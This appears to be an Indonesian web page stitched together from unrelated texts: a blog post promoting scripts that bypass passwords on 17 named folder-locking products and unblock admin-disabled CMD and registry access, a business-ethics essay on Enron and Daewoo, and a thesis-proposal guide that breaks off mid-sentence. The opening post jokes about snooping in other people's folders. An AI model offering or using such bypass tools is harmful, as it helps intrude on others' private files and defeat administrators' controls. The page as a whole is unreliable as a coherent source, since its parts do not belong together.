Apakah anda merasa folder anda dan komputer anda aman apabila telah memakai sejenis software protection seperti folderlock atau folderguard? Eits.. tunggu dulu, semua itu bisa dijebol dengan sekejap mata hanya dengan masuk kulik2 registry atau script command lewat CMD.

Sebenarnya script untuk jebol password ini dibuat bukan untuk mengetahui isi password tetapi mengganti alias mengubah alias replace password yang sebelumnya menjadi password baru. So, kalau mau mengintip isi folder seseorang tentunya dengan memakai script berikut ini akan ketahuan oleh yang punya PC hohoho..

Script jebol password ini sebenarnya dibuat dengan tujuan yang mulia. Apabila anda menggunakan software folder protection dan lupas password anda sendiri gimana jadinya? Jadinya ga bisa masuk lagi haha.. tenang saja, script berikut merupakan solusi yang pas untuk anda.

Script ini dapat anda edit sendiri, mengurangi dan menambahkan sendiri isinya, seperti saya juga mengubah sedikit dari script aslinya karna memang diijinkan oleh pemilik aslinya (kan udah bayar royalti lewat beli buku haha..)

berikut adalah daftar software2 yang dapat ditembus oleh script ini:
1. PC Security       (dicoba dengan versi 6.4 ) - tropsoft.com
2. FolderGuard (dicoba dengan versi 8.2 ) - winability.com
3. MySecretFolderXP (dicoba dengan versi 4.31) - winability.com
4. Hide File and Folder (dicoba dengan versi 3.4 ) - softstack.com
5. Folder Lock (dicoba dengan versi 5.90) - newsoftwares.net
6. Hide Folder (dicoba dengan versi 3.1 ) - hide-folder.com
7. EasyFile nF Protector (dicoba dengan versi 3.9 ) - softstack.com
8. Folder Castle (dicoba dengan versi 4.10) - magneticsoft.com
9. Winboost (dicoba dengan versi 4.9 ) - winboost.com
10. USB Lock (dicoba dengan versi 2.5 ) - advansysperu.com
11. Folder Access (dicoba dengan versi 2.00) - topdownloadsnet.com
12. Hide My Files (dicoba dengan versi 1.0)  - secretfilesoftware.com
13. WinLock (dicoba dengan versi 5.04) - crystaloffice.com
14. My LockBox (dicoba dengan versi 1.62) - fspro.net/my-lockbox
15. Lock FolderXP (dicoba dengan versi 3.78) - everstrike.com
16. PC Mesh Hide F nF (dicoba dengan versi 1.0 ) - pcmesh.com
17. Universal Shield (dicoba dengan versi 4.3 ) - everstrike.com

Untuk Scriptnya bisa didownload di sini
Tapi jangan lupa setelah didownload, save as dulu dengan extensi .BAT biar bisa dijalankan scriptnya. caranya buka file notepad, trus save as, pilih all files trus simpan dengan menambahkan .BAT di belakang nama file (save as jadi HeriJebolSon.bat)

catatan penulis:
Cara membobol passwordnya juga nggak terlalu ribet, nggak pake lama. Karena dalam banyak kasus - dalam hitungan detik berbagai program security bisa dibobol proteksi passwordnya. Modalnya juga nggak aneh-aneh cuma pake notepad doang. Ketik Script memakai notepad, jalankan file tersebut bobol deh passwordnya. Gampang pokoknya. Hi Hi Hi.

Nah, pertanyaan selanjutnya adalah bagaimana jika menu RUN dan CMD (DOS) dan REGISTRY diblok aksesnya oleh admin? Mengingat kalau script ini dijalankan melalui DOS dan cara kerjanya adalah dengan kutak katik REGISTRY? Setau saya sih, folderguard 8.2 punya fasilitas untuk blok semua akses ke REGISTRY, DOS, RUN bahkan ga bisa klik kanan mouse di PC (paraaahhhh tenan)

Mungkin Folderguard mau proteksi passwordnya sendiri dari tangan2 jahil yang mau coba kutak katik paswordnya dari registry kali yah :-p

Jangan khawatir, anda bisa mendapatkan software pintar untuk meng-Enable DOS dan REGISTRY di sini. Bisa digunakan dimana2, kalau misalnya mau ngerjain PC yang menu RUN, CMD, REGISTRY bahkan INTERNET OPTION’nya diblok aksesnya, pakai ini aja.. silahkan didownload di sini

Thank’s buat agan Thepoe yang ngebantuin ane nyari2 solusi untuk melepaskan proteksi DOS dan REGISTRY berikut RUN .. .. Traktirannya ngutang dulu ya bang.. -_-”

BONUS khusus untuk folderguard, anda bisa mereset password folderguard menjadi blank alias kosong alias tidak ganti password alias bypass doang. bisa dari menu registry langsung atau dengan memakai script (cara kerja script dengan mengganti value pada registry menjadi 00 00 00 00 00)

Silahkan download scriptnya di sini dan jangan lupa save as dulu dari notepad dan diganti ekstensinya jadi .vbs

Sumber: Password Is Nothing

Untuk memulai suatu penelaahan yang baik antara hubungan etika, bisnis dan resiko setidaknya di pahami dahulu apakah suatu perusahaan benar – benar telah berusaha untuk menerapkan etika ke dalam bisnis. Secara pengkajian sering kali terjadi kontradiksi antara etika bisnis yang diterapkan oleh perusahaan, dimana didalam suatu pertentangan antara etika dan minat pribadi yang berorientasi pada pencarian keuntungan. Ketika terjadi konflik antara etika dan keuntungan, maka bisnis lebih memilih keuntungan ketimbang etika, sehingga akan menimbulkan suatu konsekuensi resiko dalam bisnis tersebut. Di dalam suatu tindakan etis setidaknya strategis binis jangka panjang yang dilakukan oleh suatu perusahaan lebih tertuju pada sebuah pandangan bagaimana melakukan bisnis dengan sebuah etika yang benar, sehingga resiko – resiko yang timbul di dalam menjalankan sebuah bisnis akan dapat terminimalisir dengan baik.

Adanya aktivitas di dalam suatu lingkungan organisasi yaitu perusahaan di dalam segala sektor baik itu publik dan bisnis akan senantiasa mengalami perubahan dalam tindak lanjut pertumbuhkembangan lingkungan internal dan eksternal suatu perusahaan. Tuntutan perubahan dan peningkatan kapabilitas di dalam perusahaan akan memunculkan suatu resiko dan sekaligus peluang bagi perusahaan tersebut. Resiko yang timbul kemungkinan terjadi karena adanya kegagalan dari peraturan akan etika bisnis yang ditetapkan oleh perusahaan tersebut, sehingga akan mengakibatkan kegagalan dari tercapainya tujuan dan misi dari perusahaan. Resiko yang timbul tersebut seharusnya dapat dikelola dengan optimal sehingga akan dapat memunculkan suatu peluang tersendiri bagi perusahaan. Resiko itu sendiri dapat berupa resiko asuransi, resiko teknologi, resiko keuangan, resiko pemasaran, dan resiko lingkungan. Banyak cara yang dilakukan untuk mengelola resiko tersebut agar menjadi sebuah peluang yaitu dengan mengoptimalkan penggunaan sumber daya yang terbatas yang dimiliki oleh perusahaan, menerapkan standar etika bisnis yang sesuai aturan yang dikelola oleh perusahaan, demikian juga dengan pengelolaan manajemen yang baik sehingga akan diperlukan adanya evaluasi yang periodik melalui aktifitas pengendalian yang dilakukan oleh perusahaan.

1. Etika dan Bisnis

Pada dasarnya etika adalah suatu penelaahan standar moral yang tujuannya di tetapkan oleh suatu penalaran yang baik sehingga pencapaian dari etika itu sendiri akan mencapai kesimpulan yang baik terhadap moral yang benar atau salah, dan moral yang baik atau jahat.

Etika dalam melakukan bisnis, penerapan moral yang benar dan salah itu sendiri memiliki tingkat konsentrasi yang patut diperhitungkan sendiri di dalam menerapkan sebuah kebijakan, institusi dan perilaku bisnis. Etika bisnis memiliki standar formal tersendiri dimana penerapannya dilakukan dengan sistem dan organisasi yang terorganisir sehingga dapat digunakan oleh masyarakat modern dalam memproduksi dan mendistribusikan barang dan jasa yang telah ditetapkan di dalam suatu organisasi perusahaan.

K.Bertens (2000: 379) mengutip sebuah pernyataan De George yang menegaskan: “morality is the oil as well as the glue of society, and , therefore, of business”, dimana minyak pelumas, karena moralitas memperlancar kegiatan bisnis dan semua kegiatan lain dalam masyarakat, Lem, karena moralitas mengikat dan mempersatukan orang-orang bisnis, seperti juga semua anggota masyarakat lainnya.

Sehingga di dalam menyatukan antara bisnis dan sebagian kegiatan didalam setiap perusahaan dibutuhkan suatu kejujuran dari masing-masing individu, agar kepercayaan yang ditanamkan menjadi sebuah tolak ukur atau syarat yang mutlak dalam pembangunan sebuah moralitas dalam norma-norma yang mengikat sebuah kegiatan bisnis. Sebuah aturan yang telah ditetapkan oleh perusahaan setidaknya memiliki tujuan yang mampu dipertanggungjawabkan secara moral oleh setiap pekerja di dalam perusahaan itu.

Setidaknya setiap organisasi bisnis mengikuti standar moral yang akan mampu dipertanggungjawabkan karena memiliki kewajiban moral dalam mentaati setiap peraturan formal yang terkait dengan moralitas di dalam berbisnis. Oleh karena itu jika didalam suatu perusahaan terjadi tindakan kekeliruan, maka kekeliruan itu dapat disebabkan oleh pilihan tindakan yang dilakukan oleh masing-masing individu (pekerja) di dalam perusahaan itu, atau jika perusahaan bertindak secara moral, maka hal itu dapat disebabkan oleh pilihan individu (pekerja) dalam perusahaan tersebut dalam melakukan tindakan secara moral yang disebabkan oleh pilihan individu (pekerja) dalam perusahaan secara bermoral.

Setiap individu memiliki perbedaan keyakinan etis, dimana tindakan secara moral benar atau salah itu tergantung dari sudut pandangan masyarakat itu sendiri. Pandangan bahwa tidak ada standar etis yang secara absolute benar yang ditetapkan atau diterapkan terhadap perusahaan atau orang dari semua masyarakat, dan secara moral harus mengikuti standar moral yang berlaku di dalam perusahaan dimana dia bekerja. Hal ini dapat disebabkan oleh adanya perbedaan kebudayaan dari setiap masyarakat, dimana pandangan dari keyakinan moral itu sendiri berbeda-beda sehingga seringkali mengabaikan keyakinan moral dari kebudayaan yang telah ditetapkan sesuai standar moral yang ada di dalam setiap perusahaan masing-masing.

Di dalam suatu perusahaan Etika seharusnya diterapkan dalam bisnis dengan menunjukkan bahwa etika mengatur semua aktivitas manusia yang bekerja, dan dikarenakan bisnis merupakan aktivitas manusia maka etika hendaknya dapat berperan serta di dalam bisnis yang dilakukan. Bisnis merupakan aktivitas kooperatif yang eksistensinya mensyaratkan perilaku etis sehingga standar minimal etika dalam berbisnis dapat lebih diterapkan secara konsisten. Setiap bisnis tidak dapat bertahan hidup tanpa etika dimana setiap kepentingan bisnis yang paling utama adalah mempromosikan perilaku etika kepada anggota pekerjanya secara khusus dan masyarakat luas pada umumnya. Etika setidaknya diterapkan dalam bisnis dengan menunjukkan sebuah sikap etika yang konsisten dengan tujuan bisnis, khususnya dalam mencari keuntungan / profit.

Banyak hal yang dapat dilakukan dalam memahami etika bisnis secara perspektif dari masing-masing individu dimana secara umum berfokus kepada kepentingan pribadi secara moral. Suatu tindakan moral yang tinggi yang ditetapkan dalam sebuah tingkat kebenaran, kejujuran dan keadilan akan sangat jelas diterapkan ke dalam suatu lingkungan global yang kompleks. Didalam suatu perusahaan yang melakukan tindakan bisnis, nilai-nilai etika sebaiknya diterapkan secara individu dari masing-masing pekerja dengan suatu pembangunan sikap moral yang baik pula. Dengan begitu pekerja akan dapat melakukan pengontrolan setiap keputusan yang telah ditetapkan secara pemahaman etika bisnis yang diterapkan oleh perusahaan, sehingga nilai-nilai organisasi akan mampu mencegah seseorang dalam melakukan tindakan yang kurang etis.

Aspek etika yang dimiliki oleh setiap pekerja di dalam setiap perusahaan diharapkan akan dapat menunjang setiap bentuk kehidupan mereka ke arah lingkungan yang lebih baik, sesuai dengan konsep yang telah diajarkan di dalam kehidupan tentang pemahamam holistik akan etika bisnis.

2. Peranan Stakeholders dalam Resiko Etika Bisnis

Di dalam suatu lingkungan bisnis perusahaan tentu saja ada beberapa orang yang memangku kepentingan di dalam mengelola manajemen di dalam perusahaan yaitu Stakeholders. Stakeholders memiliki kepentingan yang patut dihargai di dalam lingkungan bisnis, jika kepentingan stakeholders tidak dihargai maka hal ini akan menimbulkan hal yang menyakitkan bagi para pemegang saham, para petugas dan para direktur. Dan tentu saja dapat dimaklumi bahwasanya suatu bisnis atau pekerjaan yang dilakukan tidak akan mencapai sasaran strategis jangka panjang jika tanpa dukungan dari stakeholders, seperti pemegang saham, karyawan, pelanggan, kreditur, para penyalur, pemerintah, masyarakat dan para aktifis. Dukungan untuk suatu bisnis secara umum sangat tergantung pada kredibilitas, yaitu kedudukan stakeholders dalam komitmen perusahaan, reputasi perusahaan, dan kekuatan dari keuntungan kompetitif, kepercayaan, yang semuanya bergantung pada nilai – nilai yang mendasari aktivitas perusahaan.

Suatu cara lain lagi untuk mendekati tujuan perusahaan adalah melukiskan tujuan itu sebagai the stakeholders benefit, istilah ini mirip dengan stockholders, tetapi justru merupakan semacam kritik implisit terhadap tendensi untuk terlalu mengagungkan pentingnya pemegang saham atau pemilik dari suatu perusahaan. Yang dimaksudkan dengan stakeholders adalah orang atau instansi yang berkepentingan dengan suatu bisnis atau perusahaan.

R. Edward Freeman menjelaskan :
“Stakeholdes sebagai individu-individu dan kelompok-kelompok yang dipengaruhi oleh tercapainya tujuan-tujuan organisasi dan pada gilirannya dapat mempengaruhi tercapainya tujuan-tujuan tersebut. “

Stakeholders adalah semua pihak yang berkepentingan dengan kegiatan suatu perusahaan. Stockholders, tentu termasuk didalam stakeholders. Para pemegang saham sebagai pemilik perusahaan pasti berkepentingan dengan sepak terjang sebuah perusahaan. Kalau perusahaan emperoleh laba, para pemegang saham mendapat dividen. Mereka jelas membeli saham dengan harapan aka meraih untung, namun demikian, di samping para pemegang saham ada banyak pihak lain yang berkepentingan juga dengan aktivitas suatu perusahaan. Misalnya : para manajer yang memimpin suatu perusahaan, para karyawan, para pemasok, para konsumen, masyarakat di sekitar pabrik atau lokasi perusahaan, pemerintah, lingkungan hidup, dll.

Kadang-kadang stakeholders dibagi lagi atas pihak berkepentingan internal dan eksternal. Pihak berkepentingan internal adalah orang dalam dari suatu perusahaan, orang atau instansi yang secara langsung terlibat dalam kegiatan perusahaan, seperti pemegang saham, manajer, dan karyawan. Pihak berkepentingan eksternal adalah orang luar dari suatu perusahaan, orang atau instansi yang tidak secara langsung terlibat dala kegiatan perusahaan, seperti para konsumen, masyarakat, pemerintah, lingkungan hidup. Tetapi garis pemisah antara stakeholders internal dan eksternal tidak selalu bisa ditarik dengan tajam. Misalnya, para pemasok pada umumnya bisa digolongkan antara pihak berkepentingan eksternal. Tetapi jika ada pemasok yang biarpun menjadi perusahaan sendiri hanya memasok barang untuk satu perusahaan saja, ia sebenarnya termasuk pihak berkepentingan internal juga. Demikian pula warung-warung kecil yang menyediakan makanan untuk karyawan dan perusahaan tertentu. Nasib mereka juga seluruhnya tergantung pada nasib perusahaan. Jka perusahaan menghentikan kegiatannya, mereka semua kehilangan sumber pendapatannya.

Paham stakeholders ini membuka perspektif baru untuk mendekati masalah tujuan perusahaan. Kita bisa mengatakan bahwa tujuan perusahaan adalah manfaat semua stakeholders. Sekaligus juga di sini kita mempunyai kemungkinan baru untuk membahas segi etis dari suatu keputusan bisnis. Misalnya, tidak etis kalau dalam suatu keputusan bisnis hanya kepentingan para pemegang saham dipertimbangkan, tapi juga kepentingan dari semua pihak lain, khususnya para karyawan dan masyarakat di sekitar pabrik.

Para stakeholders biasanya mengharapkan bahwa aktivitas yang dilakukan oleh perusahaan akan lebih kepada bagaimana menghargai nilai dan kepentingan secara lebih luas, seperti penghargaan untuk nilai dan kepentingan stakeholders dalam menentukan kedudukan etika dan keberhasilan dari perusahaan. Oleh karena itu ada konsekuensi yang timbul bagi para pemimpin perusahaan yaitu mereka diharapkan dapat mengelola perusahaan secara etis, serta dapat mempertanggung -jawabkan seluruh kegiatan perusahaan kepada stakeholders secara transparan dan dengan cara yang etis pula. Jika di dalam perusahaan mengalami kegagalan dalam sistem pengendalian maka akan sulit untuk mengukur semua resiko secara baik, baik berupa sistem keuangan perusahaan yang akan menjadi tidak konsisten, sehingga para stakeholders akan merasa bosan dengan etika dan moral pelayanan yang kurang baik dan tidak menyenangkan yang telah ditetapkan oleh perusahaan, sehingga hal ini akan mengurangi adanya potensi dari suatu perusahaan.

Sistem pelaksanaan pengelolaan perusahaan yang sehat akan menjaga kredibilitas perusahaan dihadapan para shareholders dan stakeholders. Oleh karena itu diharapkan perusahaan dapat mengelola resiko-resiko yang timbul di dalam pengelolaan manajemen sehingga resiko itu akan menjadi suatu peluang untuk menjadikan perusahaan menjadi lebih kuat dan mampu berkembang di bidang bisnis yang ditekuninya. Dan diharapkan hal ini akan menjadikan struktur dan proses yang di terapkan oleh perusahaan akan dapat digunakan untuk mengarahkan dan mengelola bisnis perusahaan ke arah peningkatan dan pertumbuhan bisnis serta akuntabilitas perusahaan.

Seorang pemimpin perusahaan harus dapat bijaksana dalam menentukan bisnis yang akan dikembangkannya, layaknya kehidupan yang tidak pasti, begitu juga dengan bisnis. Bisnis adalah sebuah proses yang tidak pasti dan apapun dapat terjadi di dalam menjalani proses bisnis itu. Jadi, ketidakpastian itu adalah sebuah proses nyata yang harus dihadapi dan tidak boleh diingkari bahwa eksistensinya oleh siapapun di dalam lingkungan internal sebuah perusahaan. Biasanya sifat resiko bisnis yang akan dihadapi ini terkadang tidak terukur dan tidak teridentifikasi dengan jelas wujudnya, tetapi dengan menetapkan aturan dan etika dalam berbisnis diharapkan kekuatan itu dapat melumpuhkan roda-roda resiko bisnis yang akan mengejar setiap perusahaan. Dan para Stakeholders sangat berharap para pemimpin perusahaan dapat mengatasi resiko yang timbul tersebut dengan berperan aktif dalam perwujudan kode etik di dalam perusahaan.

Penerapan etika bisnis dan etika dalam bekerja di sebuah perusahaan dapat selalu dipastikan oleh Stakeholders dengan memiliki komitmen dengan para pemimpin perusahaan. Diharapkan dengan komitmen ini, para pemimpin perusahaan akan berupaya agar sikap dan perilaku yang diterapkan di perusahaan dalam berhubungan mitra, relasi bisnis, pelanggan dan masyarakat dapat terwujud dengan prinsip-prinsip etika bisnis. Sedangkan prinsip etika bekerja dapat diterapkan dan diberlakukan kepada karyawan di dalam berhubungan dengan para pihak internal dan eksternal di dalam perusahaan. Nilai – nilai etika dan norma-norma yang berlaku dalam berbagai masalah bisnis yang timbul dalam sebuah perusahaan baik buruknya akan mempengaruhi sikap dan kesejahteraan para Stakeholders. Dan hal ini yang dijadikan sebuah senjata untuk para Stakeholders dan pemimpin perusahaan untuk memenuhi dan menjalankan setiap norma dan etika bisnis yang juga memiliki nilai budaya dalam pengoperasian bisnis yang beretika.

3. Etika Organisasi

Untuk dapat memahami sifat dari organisasi dalam menerapkan nilai-nilai etika maka ada tiga sumber utama yang mempengaruhi nilai – nilai etika organisasi, yaitu :
1. Etika Sosial
Etika sosial adalah suatu etika yang berbicara mengenai kewajian dan hal, dimana pola dan perilaku manusia sebagai makhluk sosial yang berinteraksi dengan sesamanya. Hal ini tentu saja sebagaimana hakikatnya manusia yang bersifat ganda, yaitu sebagai makhluk individu dan makhluk sosial, dimana etika indidual dan etika sosial saling berkaitan erat. Bahkan di dalam artian tertentu sangat sulit untuk dilepaskan dan dipisahkan satu dengan lainnya. Hal ini dikarenakan kewajiban seseorang terhadap dirinya berkaitan langsung dengn banyak hal yang mempengaruhi pula kewajibannya terhadap orang lain, dan demikian pula sebaliknya.
2. Etika Professional atau Grup
Etika Professional adalah merupakan aturan-aturan dan nilai-nilai moral yang diterapkan pada sekelompok orang yang kemudian digunakan untuk mengontrol mereka dalam melakukan tugas atau dalam menggunakan sumber daya lingkungan yang ada. Biasanya pula professional ini dapat dipahami sebagai suatu bentuk kualitas yang wajib dipunyai oleh setiap individu yang baik. Adapun ciri – ciri seseroang yang memiliki sikap profesional adalah :
a. Memiliki ketrampilan yang tinggi dalam suatu bidang tertentu.
b. Memiliki ilmu pengetahuan serta kecerdasan dalam menganalisis suatu permasalahan yang timbul dan peka terhadap suatu situasi secara cepat dan tepat serta cermat dalam pengambilan sebuah keputusan yang terbaik.
c. Memiliki sikap berorientasi ke arah depan sehingga mampu untuk mengantisipasi perkembangan lingkungan.
d. Memiliki sikap mandiri berdasarkan sebuah keyakinan dan kemampuan dalam menghargai pendapat orang lain.
3. Etika Individu
Etika Individu yaitu menyangkut kewajiban dan sikap manusia terhadap diri sendiri. Salah satu prinsip yang secara khusus relevan dalam setiap etika invidual adalah prinsip integritas pribadi, yang berbicara mengenai perilaku individual tertentu dalam rangka menjaga dan mempertahankan nama baiknya sebagai peribadi moral. Di dalam Etika Individu sebuah objek dapat mempengaruhi baik atau buruknya sebuah perilaku di dalam masyarakat, dimana hubungan antara visi dan tindakan yang dilakukan akan menghasilkan sebuah hasil langsung yang nyata dan bilamana sudah menjadi sebuah keyakinan individu yang penuh maka tindakan yang dilakukan pun tidak membutuhkan sebuah persuasi.

4. Kasus Enron dan Daewoo dalam Etika Bisnis

Para stakeholder selalu mengharapkan bahwasanya aktivitas perusahaan akan selalu menghargai setiap nilai dan kepentingan mereka. Secara luas dapat dipaparkan seperti penghargaan akan nilai dan kepentingan stakeholder dalam menentukan kedudukan etika dan keberhasilan dari suatu usaha. Munculnya sebuah rezim pengelolaan dan tanggung jawab untuk bisnis dan pekerjaan telah menjadi jauh lebih memperhatikan kepentingan para stakeholder. Pimpinan perusahaan dan eksekutif lainnya adalah beberapa yang sering melayani konflik kepentingan stakeholder secara langsung, dan harus peduli terhadap harapan baru publik atas bisnis dan organisasi yang berkembang, dan harus bisa mengelola resiko yang akan timbul nantinya. Lebih dari hanya sekedar melayani, kepedulian juga harus dikombinasikan dengan nilai tradisional yang menyertakan mereka dalam suatu rangka pengambilan keputusan yang etis dalam setiap tindakan.

Seperti halnya dalam kasus dimana kredibilitas, reputasi, keuntungan kompetisi dari pasar modal, organisasi, manajemen, profesionalisme dan pekerjaan mengalami suatu kegagalan. Hal ini di mulai dengan kolapsnya raksasa perdagangan energi, yaitu Enron Corporation, yang pernah menjadi korporasi ketujuh terbesari di Amerika Serikat. Saham Enron yang anjlok hebat, sehingga menyeret para auditornya bersama- sama pada tahap kegagalan yang sangat ironis. Kasus Enron semakin keras karena melinatkan sejumlah politisi – politis penting, dimana keterlibatan keuangan Enron telah sampai menyentuh bagian – bagian yang tak terselami di dalam dunia Politisi di Amerika Serikat dan menyeret banyak kalangan. Derita ini semakin diperburuk dengan tuduhan sensasional bahwa karyawan enron menutup – nutupi keburukan Enron dan menghapus E-Mail dan dokumen- dokumen computer yang sangat penting lainnya. laporan ini bukan saja jatuh ketangan pers tetapi juga ke Department Of Justice yang mulai melakukan penyidikan terhadap Enron. Akhirnya hal ini menimbulkan sebuah argumen dimana Enron sebuah perusahaan fundamental yang membawa suara rendah bagi pihak pasar pada tingkat level yang terendah, karena Enron mengelola sistem akuntansi dan klaim palsu dari potensi pertumbuhan dunia bisnis yang baru. Dan munculnya orang – orang yang sudah tidak loyal lagi terhadap Enron mengakibatkan sistem di Enron semakin terpuruk dan membawa Enron pada tahap kegagalan yang sangat kompleks.

Sepertinya juga pada kasus Daewoo, dimana bisnis dengan sebuah sistem penipuan dan penggelapan menjadi sebuah kehancuran dan kegagalan bagi bsinis terbesar di Korea Selatan ini. Sebuah bisnis yang diawali dengan tindakan yang tidak etis sehingga menyulut ketidakpercayaan para Stakeholder terhadap bisnis Daewoo dan menyebabkan kebangkrutannya. Bisnis Daewoo yang merugikan pemerintahan Korea Selatan hingga milyaran Dollar ini menyebabkan pihak pemerintah Korea Selatan bertindak tegas terhadap pimpinan Daewoo yang melarikan diri akibat tidak sanggup menanggung beban keterpurukan Daewoo.

Hal ini mirip dengan Enron dimana, budaya ketidakjujuran dan ketidaketisan di dalam membangun sebuah dunia bisnis menjadi faktor utama kehancuran dua perusahaan ini, yang menyebabkan para karyawan dan Stakeholder menjadi cukup kecewa dengan kinerja mereka. Pengambilan resiko dengan budaya perusahaan yang mendorong kompleksitas keuangan yang tidak dinamis menyebabkan penciptaan lingkungan di dua perusahaan ini menjadi sangat tidak baik, sehingga merusak citra perusahaan. Oleh karena itu adanya suatu budaya perusahaan yang mendukung setiap tindakan etis dalam melakukan bisnis akan menghasilkan sebuah kepuasan bagi setiap orang baik itu karyawan maupun Stakeholder pada khususnya.

• KESIMPULAN

Penggunaan suatu kerangka organisasi dalam sebuah keputusan akan membantu dan menghubungkan dunia bisnis dengan masyarakat, organisasi, dan kepentingan individu secara dinamis. Sikap kritis yang ditanamkan akan menjadi bagian penting dari sebuah etika pengambilan keputusan. Selain itu pula pengembangan karakter pribadi juga sangat penting, dimana akan menghubungkan sikap kompetensi dasar dalam memahami resiko dan pendekatan untuk mengelola dan mematuhi Etika dalam setiap konteks organisasi yang rumit sekalipun. Budaya nasional dan sistem hukum yang diterapkan secara dinamis dalam sebuah wilayah lingkungan bisnis akan dapat mempengaruhi setiap pengambilan keputusan yang etis.

Etika Bisnis dalam organisasi membutuhkan sebuah kepemimpinan yang berbasis nilai – nilai atas manajemen yang baik, dimana sebuah tindakan yang mencakup perencanaan dan pelaksanaan standar dalam melakukan kerja sesuai dengan sikap yang mendorong upaya untuk peningkatan organisasi dalam kinerja etika. Meskipun nilai – nilai pribadi yang penting di dalam etika pengambilan keputusan tersebut, hanya merupakan salah satu komponen yang membimbing keputusan, tindakan dan kebijakan - kebijakan organisasi yang telah ada.

Segala bentuk beban yang berkaitan dengan perilaku etika dalam organisasi dan nilai – nilai tradisi yang ada, tidak hanya masing – masing individu saja yang membuatnya, tetapi kemampuan sebuah perusahaan untuk merencanakan dan menerapkan standar etika bisnis tersebut bergantung pada struktur dan kegiatan yang dibuat oleh perusahaan untuk mencapai tujuan – tujuan etika secara efektif dan efisien. Enron dan Daewoo telah memberikan sebuah contoh yang sangat baik dimana perusahaan tersebut mengalami kegagalan dalam menyediakan kepemimpinan yang etis, yang diperlukan untuk menghindari sebuah kelakuan yang merusak reputasi perusahaan, dan akan menciptakan sebuah bencana yang besar bagi pihak – pihak yang berkepentingan dikarenakan tidak dilaksanakannya sebuah etika di dalam melakukan bisnis, yang akhirnya mengurangi tingkat kepercayaan bagi para Stakeholder.

DAFTAR PUSTAKA

Bertens, K (2000), Pengantar Etika Bisnis, Yogyakarta: Penerbit Kanisius.

Ferrell, O.C. and Linda (2005), Journal Managing the Risk of Business Ethics and Compliance, University of New Mexico.

Jones, Garet R (2007), Organizational,Theory,Design,and Change, 7th ed., New Jersey: Pearson International Edition.

Saat ‘musim’ penyusunan tesis tiba, seorang mahasiswa dibingungkan oleh pertanyaan di dalam dirinya “Apa sebaiknya judul yang saya pilih?” “Kalau judulnya begini bagaimana ya? Kalau judulnya begitu bagaimana ya?” Setelah bermenung berhari- hari untuk menemukan kata- kata judul sedemikian rupa agar terlihat ‘keren’ dan ‘ngilmiyah’ akhirnya mahasiswa mantap dengan judul penelitiannya dan dengan wajah berseri- seri membawanya ke hadapan dosen pembimbing. Tetapi apa tanggapan pembimbing? “Wah, ini tidak layak untuk tesis”, atau “Apa bedanya dengan proyek?”, atau “Argumentasi Saudara tidak memadai.”, dan sebagainya. Dengan wajah yang terlipat- lipat ‘kayak’ koran bekas ‘sumpel’ sepatu basah, mahasiswa pulang dengan gontai. Beberapa hari kemudian setelah bermenung lagi diperolehlah judul yang lebih ‘keren’ lagi dari sebelumnya. Tetapi setelah diajukan ke pembimbing, tetap saja ditolak. Capeeee deee…

Hal pertama yang harus disadari oleh si mahasiswa ini adalah “Jangan berangkat dari judul!!!” Yang kedua, “Jangan berangkat dari keingintahuan diri sendiri”, sebab sering terjadi hal yang ingin si mahasiswa ketahui atau Saudara ketahui, itu sudah diketahui orang lain, yang belum tahu hanya Saudara sendiri, nah. Oleh sebab itu hal pertama yang dilakukan seharusnya bukan memilih judul, tetapi mengidentifikasi masalah atau kesenjangan, merumuskan masalahnya, menentukan tujuannya, kemudian barulah menentukan judul. Artikel berikut ini disusun dengan ururtan berdasarkan sistematika proposal tesis pada umumnya, namun petunjuk- petunjuk rinci di dalamnya yang disertai contoh diharapkan dapat membantu para mahasiswa yang menghadapi masalah dalam penyusunan proposal tesis.

JUDUL PENELITIAN Judul Penelitian hendaknya spesifik, mengacu pada variabel/ objek/ model/ formula/ produk/ sistem; singkat dan padat (tidak lebih dari 20 kata) namun tetap komunikatif, mengacu pada hakekat penelitian, dan menarik (penelitian tersebut layak dan perlu). Pada penelitian rekayasa, hindari penggunaan kata- kata ’Perencanaan’, ‘Perancangan’, ‘Pembangunan’, ‘Pengembangan’, dan sejenisnya. Misal “Perancangan Model Pembelajaran Sistem Peredaran Darah Manusia dengan Metode Permainan (Games)”. Kalau hasil penelitian ini berupa Model, maka gunakan judul “Model Pembelajaran Sistem Peredaran Darah Manusia dengan Metode Permainan (Games)”. Contoh lain, misalnya “Pembangunan Alat Bantu Observasi Struktur Program….”, judul penelitiannya sebaiknya adalah “Alat Bantu Observasi Struktur Program….”, karena hasil penelitiannya berupa alat bantu. Pada penelitian nonrekayasa gunakan variabel, konsep, teori, metode, atau kata kunci yang menjadi titik berangkat dan yang menjadi kajian utama dalam penelitian tersebut. Hindari penggunaan subjudul untuk menjelaskan ruang lingkup, karena ruang lingkup penelitian seharusnya sudah jelas di bagian ‘Latar Belakang’, ‘Rumusan Masalah’, atau ’Tujuan’. Hindari pula penggunaan ”Studi Kasus pada ……” jika penelitian ini bukan penelitian dengan metode Studi Kasus, atau dengan maksud hanya untuk menunjukkan lokasi penelitian.

A. LATAR BELAKANG Latar belakang berisi tentang studi pendahuluan yang telah dilakukan mahasiswa berkaitan dengan adanya masalah baik dari sisi masyarakat maupun sisi pengembangan ilmu pengetahuan dan teknologi (iptek). Masalah muncul karena adanya kesenjangan, misal antara kebutuhan dengan ketersediaan, antara harapan dengan kenyataan, antara standar dengan ketercapaian, antara keingintahuan dengan jawaban dari iptek, dan sebagainya. Kesenjangan pertama yang dijumpai dari sisi masyarakat atau pengguna perlu diperdalam pembahasannya agar dapat dipastikan tidak ada solusi lain selain melalui hasil penelitian ini nantinya. Konversi proses manual menjadi proses yang berbasis komputer perlu dilandasi argumentasi yang kuat. Misal, proses pembelajaran ‘Sistem Tata Surya’ atau ‘Fusi Nuklir’ tidak mungkin dilaksanakan di kelas dalam skala nyata, namun dengan pendekatan sistem berbasis komputer hal tersebut dapat dilakukan. Berbeda dengan ‘Pembelajaran Instalasi LAN’. Sistem pembelajaran berbasis komputer tak akan memiliki nilai lebih dibanding praktikum di laboratorium. Perlu diingat bahwa penelitian harus berangkat dari sesuatu yang general dan menghasilkan sesuatu yang bersifat general pula, sekalipun masalah yang diangkat sangat spesifik. Kesenjangan kedua yang berasal dari sisi pengembangan iptek merupakan titik berangkat yang tidak boleh diabaikan dalam penelitian. Kesenjangan ini dapat diperoleh melalui jurnal- jurnal hasil penelitian. Ada kalanya suatu penelitian tidak dapat dilakukan dengan tuntas, atau masih memiliki kelemahan. Lakukan studi guna melihat kemungkinan ada peneliti lain yang sudah menyempurnakan kelemahan tersebut. Selain itu kesenjangan dari sisi iptek dapat 